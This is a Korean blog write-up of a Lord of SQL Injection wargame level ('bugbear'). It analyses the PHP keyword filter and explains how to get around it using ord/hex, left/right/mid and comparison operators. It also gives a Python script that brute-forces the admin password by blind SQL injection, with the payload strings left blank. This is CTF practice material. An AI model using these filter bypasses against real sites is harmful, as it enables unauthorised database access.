일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 한국정보보호교육센터
- SQLInjection
- 보안취업
- sql injection
- sql inection 사이트
- 워드프레스 접속
- Blind SQL Injection
- 주요통신기반시설 쉘 스크립트
- 웹해킹 문제풀기
- 블라인드 sql injection
- 웹해킹 공부
- 리눅스 취약점 진단
- 모의해킹
- Los
- WarGame
- 정보보호관리진단
- 케이쉴드
- 국비지원
- 리눅스 취약점 점검
- 웹해킹 연습
- 취업연계
- 케이쉴드주니어
- 웹해킹 사이트
- webhacking.kr 1번 문제
- Shell Script
- 기업보안담당자
- 보안컨설턴트
- 주요통신기반시설 shell script
- 정보보안
- 카이섹
- Today
- Total
Youngjin's Log
[los] 13번 문제 - bugbear 본문
13번 문제 - bugbear
php 코드 분석
preg_match함수를 이용하여 테이블에 직접적인 접근을 금지하고 있습니다.
그리고 substr, ascii, =, or, and, 공백, LIKE, 16진수표시를 금지하고 있습니다.
첫번째 쿼리문에서 get방식으로 pw와 정수형의 no을 입력 받습니다.
쿼리문을 돌려서 출력되는 id를 화면에 표시합니다.
입력 받은 pw의 문자열을 addslashes함수를 이용하여 문자열에 싱글쿼터, 더블쿼터, 널값, 역슬래시 앞에 역슬래시(\)를 추가하여 pw변수로 반환합니다.
반환된 pw를 두번째 쿼리문에 입력하여 쿼리문이 정상동작하면 출력된 pw값과 입력되어 addslashes로 반환된 pw값을 비교하여 두개의 값이 같다면 클리어 되는 문제입니다.
TIP
입력되어 addslashes된 pw값과 출력되는 pw값과 문자열이 일치하여 클리어가 되는 문제이므로 결국에는 정확한 pw값을 입력하라는 문제입니다. 그러면 Blind SQL injection을 이용하여 admin의 pw값을 뽑아내시면 될 것 같습니다.
공백을 우회하고 ascii대신에 ord 또는 hex를 대신 사용할 수 있고, substr대신에 right, left, mid를 적절하게 혼합하여 사용하시면 될 것 같습니다. 그리고 =와 LIKE을 금지하고 있으므로 <, >을 이용하여 비교하시면 될 것 같습니다.
답은 다양한 형태로 올 수 있습니다.
코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다. 저는 입력 값에 ascii대신에 hex를 이용하였고, substr대신에 right, left를 사용하는 것으로 코딩했습니다.
import requests
URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''
result = ''
result2 = ''
num = 1
guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'
strp1 = ''
strp2 = ""
'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''
strurl1 = ''
strurl2 = ""
strurl3 = ""
for p in range(1, 50):
req = requests.get(URL+ch+strp1+str(p)+strp2, headers=cookies)
response = req.text
print(strp1 + str(p) + strp2 )
if admin in response:
continue
else:
print('admin')
result3 = "암호의 길이는 " + str(p) + "자리 입니다."
break
for i in range(p,0,-1):
for j in range(0,128):
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)
response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)
# 문자열 비교해서 출력하기
if admin in response:
continue
else:
print('admin')
result = result+'\n'+str(p+1-i)+'번째 암호는'+' = '+'hex 값: '+str(j)
result2 = result2+" "+str(j)
break
#결과 출력
print(result)
print(result3)
print('답은 :'+result2)
'Web > Wargame&CTF' 카테고리의 다른 글
[los] 15번 문제 - assassin (1) | 2018.11.14 |
---|---|
[los] 14번 문제 - giant (0) | 2018.11.14 |
[los] 12번 문제 darkknight (0) | 2018.07.12 |
[los] 11번 문제 golem (0) | 2018.07.12 |
[los] 10번 문제 skeleton (0) | 2018.07.12 |